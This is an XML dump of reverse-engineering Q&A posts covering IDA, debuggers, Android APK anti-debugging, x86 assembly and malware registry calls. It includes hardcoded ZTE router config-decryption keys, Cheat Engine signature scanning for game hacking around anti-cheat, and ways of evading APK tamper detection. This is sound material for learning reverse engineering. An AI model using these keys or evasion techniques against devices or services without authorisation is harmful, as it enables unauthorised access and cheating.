  <row Id="15901" PostTypeId="2" ParentId="15861" CreationDate="2017-07-24T02:45:30.473" Score="1" Body="&lt;p&gt;I think there is a problem with BinExport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used BinNavi, there was similar problem. BinExport was not compatible with my IDA version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IDB file structure differs for each version of IDA.&#xA;Access the following URL and Check which version of IDA is supported by BinExport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/google/binexport&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/google/binexport&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14225" LastActivityDate="2017-07-24T02:45:30.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15903" PostTypeId="2" ParentId="15895" CreationDate="2017-07-24T07:11:02.683" Score="2" Body="&lt;p&gt;The officially supported debugging package for Mac OS X is &lt;a href=&quot;https://lldb.llvm.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;lldb&lt;/a&gt;.&lt;br&gt;&#xA;You can always try GDB which is the legendary GNU Debugger. It is not in any way as fancy as IDA buy you can always spice it up with &lt;a href=&quot;https://github.com/cyrus-and/gdb-dashboard&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB-Dashboard&lt;/a&gt; or &lt;a href=&quot;https://github.com/cs01/gdbgui&quot; rel=&quot;nofollow noreferrer&quot;&gt;gdbgui&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20654" LastActivityDate="2017-07-24T07:11:02.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15904" PostTypeId="1" AcceptedAnswerId="15914" CreationDate="2017-07-24T10:11:36.610" Score="2" ViewCount="2921" Body="&lt;p&gt;As part of a bug bounty program, I am trying to reverse engineer the bumble android mobile application via dynamic analysis. I find that if I use apktool to disassemble the apk and reassemble it again without even changing anything, the app will cease to function. It is able to start up but it complains that there is a problem with the internet connection. What are some ways apks use to prevent debugging and are there any known ways to overcome them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Actually when i mentioned debugging i meant smali debugging where the apk is disassembled to smali code, android:debuggable=&quot;true&quot; is added to the manifest and the apk is recompiled to become debuggable. An IDE is then used to attach the debugger to the already running app process, where debugging is done via the disassembled smali code. Details: &lt;a href=&quot;http://d-kovalenko.blogspot.sg/2012/08/debugging-smali-code-with-apk-tool-and.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://d-kovalenko.blogspot.sg/2012/08/debugging-smali-code-with-apk-tool-and.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20823" LastEditorUserId="20823" LastEditDate="2017-07-24T14:48:20.143" LastActivityDate="2017-08-04T16:13:10.570" Title="Can apk files have protection against being debugged?" Tags="|disassembly|debugging|android|apk|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15905" PostTypeId="2" ParentId="15904" CreationDate="2017-07-24T11:27:32.033" Score="0" Body="&lt;p&gt;An APK downloaded from Google Play will almost always be impossible to debug. The reason for this is that APK files require &lt;em&gt;signing&lt;/em&gt; before they can be published, and for a signed APK, the following flag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;android:debuggable=&quot;false&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is assigned automatically in the application manifest. So unless the developer has set it to &lt;code&gt;true&lt;/code&gt; (unlikely), you're out of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, your question is somewhat ambiguous, as the term &lt;em&gt;debugging&lt;/em&gt; implies the presence of source code. The only way to &quot;debug&quot; an APK is to obtain the source code, build and compile it and thereby debug it. That means that you need to decompile the APK, and quite many APK files are sealed off with &lt;a href=&quot;https://www.guardsquare.com/en/dexguard&quot; rel=&quot;nofollow noreferrer&quot;&gt;DexGuard&lt;/a&gt; so as to make reverse engineering impossible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, there are a whole host of other techniques that make it very difficult to extricate the source code from an APK file. For example, various kinds of constants such as login keys and credentials are stored persistently, and what's more, they're stored in encrypted form. This is just one example, but there you go. &lt;/p&gt;&#xA;" OwnerUserId="20977" LastActivityDate="2017-07-24T11:27:32.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15906" PostTypeId="1" AcceptedAnswerId="15907" CreationDate="2017-07-24T12:20:04.130" Score="3" ViewCount="9401" Body="&lt;pre&gt;&lt;code&gt;sub_123434 proc near &#xA;mov esi, [ebp-1Ch] &#xA;sub_123434 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What means proc near? Can someone possibly explain also the whole&#xA;function?&lt;/p&gt;&#xA;" OwnerUserId="20978" LastEditorUserId="60" LastEditDate="2017-07-24T13:43:16.013" LastActivityDate="2017-07-24T14:48:26.063" Title="my question is what means proc near?" Tags="|ida|disassembly|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15907" PostTypeId="2" ParentId="15906" CreationDate="2017-07-24T13:06:56.017" Score="4" Body="&lt;p&gt;Insofar as &lt;code&gt;proc&lt;/code&gt; and &lt;code&gt;endp&lt;/code&gt;, start &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/01d2az3t.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. A good explanation for &lt;code&gt;near&lt;/code&gt;can be found from &lt;a href=&quot;http://spot.pcc.edu/~wlara/asmx86/asmx86_manual_8.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this document&lt;/a&gt;, which states as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Attribute is NEAR if the Procedure is in the same code segment as the&#xA;  calling program; or FAR if in a different code segment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The meat of the code is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esi,[ebp-1Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bit of code is moving a value from the stack into the &lt;code&gt;esi&lt;/code&gt; register. Depending on the compiler used and context, you might stand to glean additional information from &lt;a href=&quot;http://www.swansontec.com/sregisters.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;register conventions&lt;/a&gt; where a value being moved into the &lt;code&gt;esi&lt;/code&gt; register is concerned. More specifically, consider the accepted answer from &lt;a href=&quot;https://stackoverflow.com/questions/1856320/purpose-of-esi-edi-registers&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;ebp-&lt;/code&gt; (as opposed to &lt;code&gt;ebp+&lt;/code&gt;) is a typical sign of arguments that have been passed to a function--of which those values reside on the stack within memory addresses that can be referenced as long as that particular &lt;a href=&quot;https://stackoverflow.com/questions/10057443/explain-the-concept-of-a-stack-frame-in-a-nutshell&quot;&gt;stack frame&lt;/a&gt; exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding &lt;code&gt;[ebp-1Ch]&lt;/code&gt;, that's a pointer. In this case, the &lt;code&gt;ebp&lt;/code&gt; register contains a memory address (or, more specifically, the value in &lt;code&gt;ebp&lt;/code&gt; is treated as a reference to a memory address instead of a literal value), and &lt;code&gt;-1Ch&lt;/code&gt; is an offset from that memory address. The lowercase 'h' is just a pneumonic meaning &quot;hex,&quot; and to that end, you might also sometimes see offsets and/or hex-based values referenced with a preceding 0x, like this: &lt;code&gt;[ebp-0x1C]&lt;/code&gt;. Bearing that in mind, you can really think of that as &lt;code&gt;[ebp-1C]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note that &lt;code&gt;ebp&lt;/code&gt; and &lt;code&gt;[ebp]&lt;/code&gt; are different things. &lt;code&gt;[ebp]&lt;/code&gt; means the value inside of &lt;code&gt;ebp&lt;/code&gt; is treated as a reference to a memory address. Let's assume &lt;code&gt;ebp&lt;/code&gt; has &lt;code&gt;0xD34DC0DE&lt;/code&gt; in it. Now consider the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esi,ebp&#xA;mov esi,[ebp]&#xA;mov esi,[ebp-1C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results of each of these would be the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov esi,ebp&lt;/code&gt; // esi now contains the literal value 0xD34DC0DE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov esi,[ebp]&lt;/code&gt; // esi now contains whatever is inside the memory address 0xD34DC0DE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov esi,[ebp-1C]&lt;/code&gt; // esi now contains whatever is inside the memory address 0xD34DC0C2 (which is 0xD34DC0DE - 1C)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, it looks like that subroutine isn't doing anything but moving data from the stack into a register. As a completely blind assumption, if we assume that each argument passed to its respective function is 4-bytes wide, then &lt;code&gt;[ebp-1C]&lt;/code&gt; references the 8th argument passed to perhaps a parent routine of this subroutine. In this case, other values of interest could potentially reside in &lt;code&gt;[ebp]&lt;/code&gt;, &lt;code&gt;[ebp-04]&lt;/code&gt;, &lt;code&gt;[ebp-08]&lt;/code&gt;, &lt;code&gt;[ebp-0C]&lt;/code&gt;, &lt;code&gt;[ebp-10]&lt;/code&gt;, &lt;code&gt;[ebp-14]&lt;/code&gt;, and/or &lt;code&gt;[ebp-18]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, we're lacking context here to gather what the purpose of this function you've provided is--though, again, a combination of the aforementioned conventions can possibly tell you a lot about what that mov instruction is potentially a part of. Look into &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/assembler/masm/proc&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling conventions&lt;/a&gt; for additional clarity. You should be able to infer and research the rest based on the information herein.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-07-24T14:48:26.063" LastActivityDate="2017-07-24T14:48:26.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15908" PostTypeId="1" CreationDate="2017-07-25T07:16:13.263" Score="0" ViewCount="402" Body="&lt;p&gt;The decompilation and auto-analysis of this binary is grossly inaccurate. I am providing the &lt;a href=&quot;http://www.mediafire.com/file/2c922amt64d0rym/bug_manage_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary&lt;/a&gt; as well as the &lt;a href=&quot;http://www.mediafire.com/file/938tb37emkkxifz/bug_manage_system.idb&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDB&lt;/a&gt;. IDA v6.95, 32 bit was used for the analysis. Can anyone take a look and suggest how I can improve the accuracy of IDA's analysis in this case?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-07-27T05:38:35.903" Title="Why does IDA identify so many non-existent methods in this binary?" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15909" PostTypeId="2" ParentId="15908" CreationDate="2017-07-25T09:02:36.330" Score="1" Body="&lt;p&gt;Would you mind ellaborating which functions you are refering to? The ones I see (IDA 6.95, 32bit, linux) seem pretty normal to me. Here is the list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NwoKd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NwoKd.png&quot; alt=&quot;function list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, IDA adds functions as soon as it finds any referal of control flow, so broken functions are often generated by opaque predicates and falsely parsed jump tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;The functions you are referring to (&lt;code&gt;sub_6C8&lt;/code&gt;, &lt;code&gt;sub_6D0&lt;/code&gt;, &lt;code&gt;sub_6D8&lt;/code&gt;) are functions related to the global offset table (see segment name). These are basically trampoline functions redirecting the control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(PLT stands for procedure linkage table)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not completely certain why IDA treats them as functions, but the functionality is no mistery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may try commands like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf --relocs bug_manage_system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -T bug_manage_system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, it may help to have a look at raw disassembler output of &lt;code&gt;.plt.got&lt;/code&gt; using objdump or any other tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading an article about the linking procedure of elf files may certainly help:&#xA;&lt;a href=&quot;https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;PLT and GOT - the key to code sharing and dynamic libraries&lt;/a&gt;&#xA;&lt;a href=&quot;https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GOT and PLT for pwning.&lt;/a&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got/1993&quot;&gt;What is PLT/GOT?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-07-27T05:38:35.903" LastActivityDate="2017-07-27T05:38:35.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15910" PostTypeId="2" ParentId="14711" CreationDate="2017-07-25T14:25:09.050" Score="8" Body="&lt;p&gt;The encryption for recent ZTE routers' config.bin is AES ECB (Electronic Code Book). The key is stored in the open in &lt;code&gt;/bin/cspd&lt;/code&gt; next to string &lt;code&gt;/cfg/db_backup_cfg.xml&lt;/code&gt;. The function responsible is &lt;code&gt;CspDBInitPdtInterface&lt;/code&gt;, last &lt;code&gt;snprintf&lt;/code&gt; call. The key is zero padded if short of 128 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key very much might be unique to ISP: yours H201L V2 is &lt;code&gt;Renjx%2$CjM&lt;/code&gt;, streetster's H298N V1.4 was &lt;code&gt;Wj%2$CjM&lt;/code&gt; (but it doesn't work), local H118N V2.3 had &lt;code&gt;MIK@0STzKpB%qJZf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/dpc2o6kf/&quot; rel=&quot;noreferrer&quot;&gt;https://jsfiddle.net/dpc2o6kf/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20993" LastEditorUserId="20993" LastEditDate="2017-07-28T10:00:45.810" LastActivityDate="2017-07-28T10:00:45.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15911" PostTypeId="1" CreationDate="2017-07-25T16:46:53.547" Score="4" ViewCount="160" Body="&lt;p&gt;I have been asked to recover data from a Nintendo DSi device that has some critical pictures and audio on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking closely at the system, it appears that the memory must be integraded onto the board and will require some effort to attach it to something like a &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B009T2ZR6W&quot; rel=&quot;nofollow noreferrer&quot;&gt;Serial Converter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what kind of a process to follow in order to access such a memory device as is found on a DSi?&lt;/p&gt;&#xA;" OwnerUserId="20994" LastEditorUserId="1413" LastEditDate="2017-07-25T20:04:34.827" LastActivityDate="2017-07-25T20:04:34.827" Title="DSi Data Recovery Process?" Tags="|memory|hardware|digital-forensics|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15912" PostTypeId="1" AcceptedAnswerId="15915" CreationDate="2017-07-25T18:04:33.933" Score="0" ViewCount="93" Body="&lt;p&gt;I'm investigating a bug that happens in proprietary DLL that doesn't have PDB symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The callstack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KernelBase.dll!7710c54f()&#xA;[Frames below may be incorrect and/or missing, no symbols loaded for KernelBase.dll]    &#xA;msvcr90.dll!__CxxThrowException@8()&#xA;ScrUsSsDtceLib.dll!5ec92ef1()&#xA;ScrUsSsDtceLib.dll!5ec91ec4()&#xA;ScrUsSsDtceLib.dll!5ec96f86()&#xA;ScrUsSsDtceLib.dll!5ec9de1c()&#xA;ScrUsSsDtceLib.dll!5ec9d5f5()&#xA;ScrUsSsDtceLib.dll!5ecc2f5d()&#xA;vcomp90.dll!_vcomp::ParallelRegion::HandlerThreadFunc(void *,unsigned long)&#xA;vcomp90.dll!_vcomp::NullAPCFunc(unsigned long)&#xA;kernel32.dll!759b336a()&#xA;ntdll.dll!777e9902()&#xA;ntdll.dll!777e98d5()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I see the following DLL exports in Dependency Walker.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ordinal Hint    Entry Point Function&#xA;1   0   0x000135D0  IScrUsDtce2D::IScrUsDtce2D(void)&#xA;2   1   0x00013B30  IScrUsDtce3D::IScrUsDtce3D(void)&#xA;3   2   0x00013F50  IScrUsDtce2D::~IScrUsDtce2D(void)&#xA;4   3   0x00013B50  IScrUsDtce3D::~IScrUsDtce3D(void)&#xA;5   4   0x00012AA0  class IScrUsDtce2D &amp;amp; IScrUsDtce2D::operator=(class IScrUsDtce2D const &amp;amp;)&#xA;6   5   0x00012AD0  class IScrUsDtce3D &amp;amp; IScrUsDtce3D::operator=(class IScrUsDtce3D const &amp;amp;)&#xA;7   6   0x000139A0  int IScrUsDtce2D::FilterImage(unsigned short const *,unsigned short *,int,int)&#xA;8   7   0x00013DC0  int IScrUsDtce3D::FilterVolume(int,unsigned char const * const *,unsigned char * *,int)&#xA;9   8   0x00013620  int IScrUsDtce2D::Init(char const *,struct UsDtceImgInfo const &amp;amp;,enum IScrUsDtce2D::ProcType,unsigned short const *)&#xA;10  9   0x00013BA0  int IScrUsDtce3D::Init(char const *,struct UsDtceImgInfo const &amp;amp;,enum IScrUsDtce3D::ProcType)&#xA;11  10  0x000137F0  int IScrUsDtce2D::InitSSC(char const *,struct UsDtceImgInfo const &amp;amp;,enum IScrUsDtce2D::ProcType,unsigned short const *,bool,float *,int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to understand which functions are called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD: I understand that bigger part of the callstack addresses may be private functions.&lt;/p&gt;&#xA;" OwnerUserId="20995" LastEditorUserId="20995" LastEditDate="2017-07-25T18:53:46.320" LastActivityDate="2017-07-26T05:34:29.427" Title="Translate addresses on stack to the exported function names" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15913" PostTypeId="2" ParentId="15427" CreationDate="2017-07-25T19:36:36.473" Score="3" Body="&lt;p&gt;Being an avid Cheat Engine user and game-hacker, I can walk you through a specific example that should give you solid clarity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we'll use this arbitrary bit of code to work with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7A1A7A162 - 55                    - push rbp&#xA;7A1A7A163 - 00 6E 00              - add [rsi+00],ch&#xA;7A1A7A166 - 69 00 74000000        - imul eax,[rax],00000074 { 116 }&#xA;7A1A7A16C - 00 00                 - add [rax],al&#xA;7A1A7A16E - 00 00                 - add [rax],al&#xA;7A1A7A170 - EB C3                 - jmp 7A1A7A135&#xA;7A1A7A172 - C3                    - ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's say the two bytes you want to nop are &lt;code&gt;EB C3&lt;/code&gt;, but &lt;code&gt;7A1A7A170&lt;/code&gt; isn't a static address. What you now want to do is construct a &lt;strong&gt;&lt;em&gt;unique&lt;/em&gt;&lt;/strong&gt; byte signature that you can then scan for. What you're betting on here is that while the memory addresses might change, the instructions stay the same. This gives you something consistent to scan for. Ultimately, you want only one result from the scan so that you don't end up finding--and then modifying--a false positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cheat Engine, everything related to signature scanning is referred to as AOB (Array of Byte) scanning. It's essentially one in the same. Let's build what we hope is a unique AOB using the bytes from the example routine above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55 00 6E 00 69 00 74 00 00 00 00 00 00 00 EB C3 C3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what you could do in Cheat Engine is select &quot;Array of byte&quot; from the &lt;em&gt;Value Type&lt;/em&gt; drop-down box, then make sure the &lt;em&gt;Writeable&lt;/em&gt; checkbox has the solid black square selection (that is, not just a check mark and not empty) which means CE will scan both read/write memory, and finally, paste those bytes into the search box and search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have one result, then you're good to go. Your scan would return the first memory address (no matter what it is), and you could then base your injection on an offset from that result, which would be &lt;code&gt;0x0E&lt;/code&gt;. Cheat Engine (or whatever you use to scan for that byte pattern) finds the result starting in memory address &lt;code&gt;7A1A7A162&lt;/code&gt;, then from there, your bytes are +&lt;code&gt;0x0E&lt;/code&gt; away at address &lt;code&gt;7A1A7A170&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have multiple results, then what you need to start doing is adding bytes onto the beginning or end of your signature. Using our example, this would mean starting to incorporate bytes from instructions prior to &lt;code&gt;7A1A7A162&lt;/code&gt; and/or after &lt;code&gt;7A1A7A172&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can sometimes end up with massive AOBs -- especially in cases where you're dealing with anti-cheat software that duplicates certain blocks of code to throw pattern scanning off. In these cases, you can try finding an array of bytes nearby that have nothing to do with the bytes you want to modify, and then base your injection on an offset from the results of that scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, maybe there's a unique byte signature from &lt;code&gt;7A1A70000&lt;/code&gt; to &lt;code&gt;7A1A7001C&lt;/code&gt;, which you then reference the resulting scan (which would be &lt;code&gt;7A1A70000&lt;/code&gt;) + an offset of &lt;code&gt;A170&lt;/code&gt; to land you at &lt;code&gt;7A1A7A170&lt;/code&gt;. That sometimes doesn't work, either, such as when a game's instructions are compiled at run time (this is common with Java-based games--Minecraft being one such game; look into &lt;a href=&quot;https://en.wikipedia.org/wiki/Just-in-time_compilation&quot; rel=&quot;nofollow noreferrer&quot;&gt;JIT compilation&lt;/a&gt;), but it's a good example to show you how to get around a common anti-pattern scan technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask if you need additional clarity on the this, but the ultimate goal is to find a unique byte signature that you can scan for, then base your injection on that. This allows you to work independently of memory addresses. =)&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-07-25T20:05:05.860" LastActivityDate="2017-07-25T20:05:05.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15914" PostTypeId="2" ParentId="15904" CreationDate="2017-07-26T01:36:20.170" Score="0" Body="&lt;p&gt;If you recompile the apk, you need to resign the app, which will change the certificate.. And the application can use some method to &quot;detect&quot; such changes which is very similar to &quot;INT 3&quot; detection under x86... So yes, the application can check/use its certificate as a way for anti-debugging/tampering&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to make the change much &quot;stealthy&quot; is to use xposed module to hook the debuggable flag, however, it can still be detected since xposed module introduced stack changes and the program can also find that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line is if there's a &quot;delta&quot; between debugging and running normally, the way to detect such &quot;delta&quot; is a potentially anti-debug technique.&lt;/p&gt;&#xA;" OwnerUserId="20811" LastActivityDate="2017-07-26T01:36:20.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15915" PostTypeId="2" ParentId="15912" CreationDate="2017-07-26T05:34:29.427" Score="1" Body="&lt;p&gt;post unadulterated stack use kb and paste the exact output&lt;br&gt;&#xA;it is kinda difficult to understand what the symbols are in the stack paste&lt;br&gt;&#xA;if they are return address ebp , args ?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;most of the time you may need a disassembler application like ida / radare2 etc that does some extra work to analyze function boundaries and possibly name them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example this is a stack from livekd.exe from sysinternals&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:002&amp;gt; ~0kb&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0021eab0 77546a64 7570179c 000000cc 00000000 ntdll!KiFastSystemCallRet&#xA;01 0021eab4 7570179c 000000cc 00000000 00000000 ntdll!NtWaitForSingleObject+0xc&#xA;02 0021eb20 76bebaf3 000000cc ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98&#xA;03 0021eb38 76bebaa2 000000cc ffffffff 00000000 kernel32!WaitForSingleObjectExImplementation+0x75&#xA;*** ERROR: Module load completed but symbols could not be loaded for e:\sysint\livekd.exe&#xA;04 0021eb4c 00076038 000000cc ffffffff 00000000 kernel32!WaitForSingleObject+0x12&#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;05 0021fae8 000795e6 00000001 002fbec0 002fbee8 livekd+0x6038&#xA;06 0021fb30 76bf3c45 7ffdf000 0021fb7c 775637eb livekd+0x95e6&#xA;07 0021fb3c 775637eb 7ffdf000 770c043e 00000000 kernel32!BaseThreadInitThunk+0xe&#xA;08 0021fb7c 775637be 00079663 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70&#xA;09 0021fb94 00000000 00079663 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can find where livekd is loaded with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:002&amp;gt; lm m live*&#xA;Browse full module list&#xA;start    end        module name&#xA;00070000 0010d000   livekd     (no symbols)       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now assume you load it in radare2 with the same base address &lt;strong&gt;0x70000&lt;/strong&gt; you can seek to the return address in stack &lt;strong&gt;0x76038&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare does some analysis and says this address belongs to main()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -B 0x70000 -AA e:\SYSINT\livekd.exe&#xA;&#xA;[0x00079663]&amp;gt; s 0x76038&#xA;&#xA;[0x00076038]&amp;gt; pd 5&#xA;|           0x00076038      6860894200     push 0x428960&#xA;|           0x0007603d      ffd6           call esi&#xA;|           0x0007603f      6860894200     push 0x428960&#xA;|           0x00076044      c705c47b4200.  mov dword [0x427bc4], 0     ; [0x427bc4:4]=-1&#xA;|           0x0007604e      ff158c704100   call dword [0x41708c]&#xA;[0x00076038]&amp;gt; afn&#xA;&#xA;main &amp;lt;-------------&#xA;[0x00076038]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00076038]&amp;gt; s 0x795e6&#xA;[0x000795e6]&amp;gt; afn&#xA;entry0  &amp;lt;----------------&#xA;[0x000795e6]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-26T05:34:29.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15916" PostTypeId="1" CreationDate="2017-07-26T09:36:31.813" Score="1" ViewCount="170" Body="&lt;p&gt;What does &lt;code&gt;mov edi, ds:RegCloseKey&lt;/code&gt; actually   do ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it call &lt;code&gt;RegCloseKey&lt;/code&gt; and the registry is &quot;closed&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole function looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call  ds:RegOpenKeyEXW    &#xA;test  eax,eax    &#xA;jnz   loc_12345    &#xA;push  push 300h    &#xA;lea   eax, [ebp-0C64h]&#xA;push  eax &#xA;push  esi &#xA;push  dword ptr [rbp-0C64h]&#xA;call  ds:RegEnumKeyW&#xA;mov   edi ds:RegCloseKey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20978" LastEditorUserId="60" LastEditDate="2017-07-27T12:23:40.430" LastActivityDate="2017-07-27T12:23:40.430" Title="strange instruction in IDA when debugging malware" Tags="|ida|debugging|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15917" PostTypeId="2" ParentId="15916" CreationDate="2017-07-26T12:08:09.450" Score="2" Body="&lt;p&gt;No, it means it's storing the address for later use, what comes after that segment? Something in the line of &quot;CALL EDI&quot; I'm guessing.&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2017-07-26T12:08:09.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
